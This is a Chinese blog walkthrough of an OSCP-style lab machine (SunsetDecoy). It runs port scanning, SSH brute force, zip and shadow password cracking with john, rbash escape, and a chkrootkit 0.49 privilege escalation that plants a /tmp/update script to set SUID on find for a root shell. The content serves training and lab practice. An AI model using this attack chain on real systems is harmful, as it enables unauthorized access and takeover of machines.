• 文件上传漏洞靶场-OSCP系列靶场过程


    公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

    目录

    准备工作

    信息收集-端口扫描

    目标开放端口收集Nmap

    开放端口扫描2次(多次扫描减少误扫)

    信息收集-端口测试

    漏洞利用-getwebshell

    内网遨游-getshell

    信息收集-内网基础信息收集

    总结


    getwebshell : 发现zip文件 → zip存在密码 → john爆破zip密码 → 发现passwdshadow文件 → 爆破shadow密码 → ssh登录

    提 权 思 路 : 发现后台运行程序 → 上传pspy64查看 → 发现chkrootkit → chkrootkit提权

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.194

    启动靶机
    获取目标机器IP → 192.168.190.85

    信息收集-端口扫描


    目标开放端口收集Nmap

    • 开放端口扫描2次(多次扫描减少误扫)

    1. sudo nmap --min-rate 10000 -p- 192.168.190.85

    2. PORT STATE SERVICE

    3. 22/tcp open ssh

    4. 80/tcp open http

     开放的端口->22,80

    目标端口对应服务探测

    1. # tcp探测

    2. sudo nmap -sT -sV -O -sC -p22,80 192.168.190.85

    3. PORT STATE SERVICE VERSION

    4. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2

    5. 80/tcp open http Apache httpd 2.4.38

    信息收集-端口测试


    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.9p1 Debian 10+deb10u2

    1. # 搜索对应脚本

    2. msf6 > searchsploit openssh 7.9p1

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    1.sudo ssh root@192.168.190.85 -v

    显示publickeypassword就是支持密钥以及密码登录

    22-SSH手动登录尝试(无)

    因为支持密码登录,尝试root账户的密码弱密码尝试

    1.sudo ssh root@192.168.190.85 -p 22

    2.# 密码尝试

    3.password > root

    弱密码尝试失败

    22-SSH弱口令爆破(静静等待)

    因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

    1.sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.85 ssh -s 22

    挂着工具进行爆破,我们尝试后续信息收集

    80-HTTP端口的信息收集

    访问 http://192.168.190.85:80 不是CMS,访问发现了一个zip

    利用wget下载

    1.wget http://192.168.190.85/save.zip

     尝试打开发现需要密码

    1.┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]

    2.└─# unzip save.zip

    3.Archive: save.zip

    4.[save.zip] etc/passwd password:

    暴力破解-hash密码破解

    1.# 利用zip2john将zip转换

    2.zip2john save.zip → password.hash

    3.# 利用john离线破译hash的zip密码

    4.john --wordlist=/usr/share/wordlists/rockyou.txt password.hash

    得到了密码manuel

    进行解压

    1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy]

    2. └─# unzip save.zip

    3. Archive: save.zip

    4. [save.zip] etc/passwd password:

    5. inflating: etc/passwd

    6. inflating: etc/shadow

    7. inflating: etc/group

    8. inflating: etc/sudoers

    9. inflating: etc/hosts

    10. extracting: etc/hostname

    从名字上来看是里面的账号密码信息

    漏洞利用-getwebshell

    passwd用户名收集

    1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy] └─# cat etc/passwd

    2. root:x:0:0:root:/root:/bin/bash

    3. ...

    4. systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

    5. 296640a3b825115a47b68fc44501c828:x:1000:1000:,,,:/home/296640a3b825115a47b68fc44501c828:/bin/rbash

    通过etc/passwd我们可以收集到用户名

    shadow加密密码收集

    1. ┌──(root㉿Kali)-[/home/bachang/SunsetDecoy] └─# cat etc/shadow

    2. ....

    3. colord:*:18440:0:99999:7:::

    4. hplip:*:18440:0:99999:7:::

    5. systemd-coredump:!!:18440::::::

    6. 296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

    shadow中我们会得到加密的密码

    john暴力破解

    1.# 利用echo变成hash方便暴力破解

    2.echo'296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::'> passwd.txt

    3.# 利用john离线破译txt密码

    4.john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt 

     

    得到了密码 server

    22-SSH账号密码登录

    获取账号密码之后利用SSH进行登录

    1. sudo ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22

    2. password → server

    内网遨游-getshell


    连接之后发现是rbash

    SSH连接受限逃逸

    SSH连接受限伪终端逃逸

    SSH连接到远程服务器上发现各种命令受限利用-t逃逸

    1. # -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置

    2. sudo ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22 -t "bash --noprofile"

    3. password → server

    4. # ssh登录之后获取环境变量

    5. echo $PATH

    6. # 重写环境变量

    7. PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

    连接进来之后没有找到命令说明要配置环境变量

    目前的环境变量可以发现在本地,零时修改一下

    FLAG1获取

    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ find / -name local.txt 2>/dev/null

    2. /home/296640a3b825115a47b68fc44501c828/local.txt

    3. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat local.txt

    4. f750ece6f4ea704c2902f5f7f6c10d2d

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    1. # 确定发行版本

    2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ lsb_release -a

    3. No LSB modules are available.

    4. Distributor ID: Debian

    5. Description: Debian GNU/Linux 10 (buster)

    6. Release: 10

    7. Codename: buster

    发行版本为Debian,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ uname -a

    2. Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

    内核版本为4.19.0

    检测当前用户的权限
    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ id

    2. uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)

    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    1. # 利用sudo -l寻找

    2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ sudo -l

    3. sudo: unable to resolve host 60832e9f188106ec5bcc4eb7709ce592: Name or service not known

    4. We trust you have received the usual lecture from the local System

    5. Administrator. It usually boils down to these three things:

    6. #1) Respect the privacy of others.

    7. #2) Think before you type.

    8. #3) With great power comes great responsibility.

    9. [sudo] password for 296640a3b825115a47b68fc44501c828:

    10. Sorry, try again.

    11. [sudo] password for 296640a3b825115a47b68fc44501c828:

    12. Sorry, user 296640a3b825115a47b68fc44501c828 may not run sudo on 60832e9f188106ec5bcc4eb7709ce592.

    发现不行

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    1. # -perm 文件权限

    2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ find / -perm -u=s -type f 2>/dev/null

    3. /usr/bin/newgrp

    4. /usr/bin/su

    5. /usr/bin/umount

    6. /usr/bin/pkexec

    7. /usr/bin/chsh

    8. /usr/bin/sudo

    9. /usr/bin/passwd

    10. /usr/bin/gpasswd

    11. /usr/bin/mount

    12. /usr/bin/chfn

    13. /usr/bin/fusermount

    14. /usr/lib/policykit-1/polkit-agent-helper-1

    15. /usr/lib/eject/dmcrypt-get-device

    16. /usr/lib/openssh/ssh-keysign

    17. /usr/lib/dbus-1.0/dbus-daemon-launch-helper

    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    1. # 探查有CAP_SETUID标志的进程

    2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ /usr/sbin/getcap -r / 2>/dev/null

    3. /usr/bin/ping = cap_net_raw+ep

    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    1. # 寻找定时任务并修改进行提权

    2. cat /etc/crontab

    寻找root权限进程
    1. # 调整行列,方便查询进程

    2. stty rows 50 cols 250

    3. # 查找进程,是否存在root权限进程

    4. ps aux | grep root

    查看历史信息(无)

    可能用户留下的历史信息具有有用的信息

    1.history

    确认/home目录下信息

    /home目录下的用户可以做账号字典尝试弱密码以及爆破

    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -al /home

    2. drwxr-xr-x 2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Aug 27 2020 296640a3b825115a47b68fc44501c828

    确认当前用户home目录下是否有隐藏文件
    1. # 例如.ssh找密码 ./*_history找历史记录等

    2. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -al

    3. total 56

    4. drwxr-xr-x 2 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Aug 27 2020 .

    5. drwxr-xr-x 3 root root 4096 Jun 27 2020 ..

    6. lrwxrwxrwx 1 root root 9 Jul 7 2020 .bash_history -> /dev/null

    7. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 220 Jun 27 2020 .bash_logout

    8. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 3583 Jun 27 2020 .bashrc

    9. -rwxr-xr-x 1 root root 17480 Jul 7 2020 honeypot.decoy

    10. -rw------- 1 root root 1855 Jul 7 2020 honeypot.decoy.cpp

    11. lrwxrwxrwx 1 root root 7 Jun 27 2020 id -> /bin/id

    12. lrwxrwxrwx 1 root root 13 Jun 27 2020 ifconfig -> /bin/ifconfig

    13. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 33 Jul 30 10:37 local.txt

    14. lrwxrwxrwx 1 root root 7 Jun 27 2020 ls -> /bin/ls

    15. lrwxrwxrwx 1 root root 10 Jun 27 2020 mkdir -> /bin/mkdir

    16. -rwxr-xr-x 1 root root 807 Jun 27 2020 .profile

    17. -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 66 Jun 27 2020 .selected_editor

    18. -rwxrwxrwx 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 32 Aug 27 2020 user.txt

    看到了一个可疑的文件,具有执行和读取功能

    在无法读取的情况下尝试运行

    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy

    2. --------------------------------------------------

    3. Welcome to the Honey Pot administration manager (HPAM). Please select an option.

    4. 1 Date.

    5. 2 Calendar.

    6. 3 Shutdown.

    7. 4 Reboot.

    8. 5 Launch an AV Scan.

    9. 6 Check /etc/passwd.

    10. 7 Leave a note.

    11. 8 Check all services status.

    发现有几个功能

    发现5具有交互,会进行执行,但是我看不到

    系统会通知我们扫描将在 60 秒内启动。这暗示有一个正在运行的进程,我们可能想要仔细研究

    Pspy查看进程

    1.Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。

    1.wget https://github.com/DominicBreuker/pspy.git

    1.# 利用python开启http服务,方便目标机器上下载文件

    2.sudo python3 -m http.server 80

    1.# 下载

    2.wget http://192.168.45.194:80/pspy64

    3.# 给权限

    4.chmod +x pspy64

    5.# 运行

    6../pspy64

    上传pspy64之后运行脚本

    查看是否有进程进行  

    发现执行了/bin/sh /root/chkrootkit-0.49/chkrootkit

    权限提升

    chkrootkit提权

    发现程序中会进行chkrootkit

    1.searchsploit chkrootkit

    可以发现正好有0.49

    1.cat /usr/share/exploitdb/exploits/linux/local/33899.txt

    仔细查看说在/tmp下放置一个update的文件会以root权限运行
    那么构造一个恶意的update可以让我权限提升

    1. # 移动

    2. cd /tmp

    3. # 写提权

    4. echo '#!/bin/sh

    5. chmod +s /usr/bin/find' > update

    6. # 加执行

    7. chmod +x update

    8. # 查看find权限

    9. which find

    10. ls -al /usr/bin/find

    11. # find-suid提权

    12. find . -exec /bin/bash -p \; -quit

    1. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ ls -al /usr/bin/find

    2. -rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find

    3. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$

    4. 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ find . -exec /bin/bash -p \; -quit

    5. bash-5.0# id

    6. uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) egid=0(root) groups=0(root),1000(296640a3b825115a47b68fc44501c828)

    7. bash-5.0#

     提权成功

    FLAG2获取

    1. bash-5.0# cat /root/proof.txt

    2. 462b67a92407c2b0d746f9298fbfa2f6

    完结撒花~

    总结


    当没有思路的时候,可以上传pspy64来尝试发现root下运行的进程

    图片

    没看够~?欢迎关注!

     

     渗透工具

    技术文档、书籍

     

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

     

  • 相关阅读:
    HTML5-CSS3
    操作系统存储管理
    【饭谈】软素质怎么提高?(适合软件测试人的专用办法)
    Linux学习-30-chgrp、chown等修改文件和目录的所有者和所属组命令
    渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
    数学建模Matlab之优化类方法
    ubuntu 切换输入法
    Linux之动静态库
    找数组中最小的两个值(不排序方法)
    Dinky上路之旅
  • 原文地址:https://blog.csdn.net/zkaqlaoniao/article/details/133676034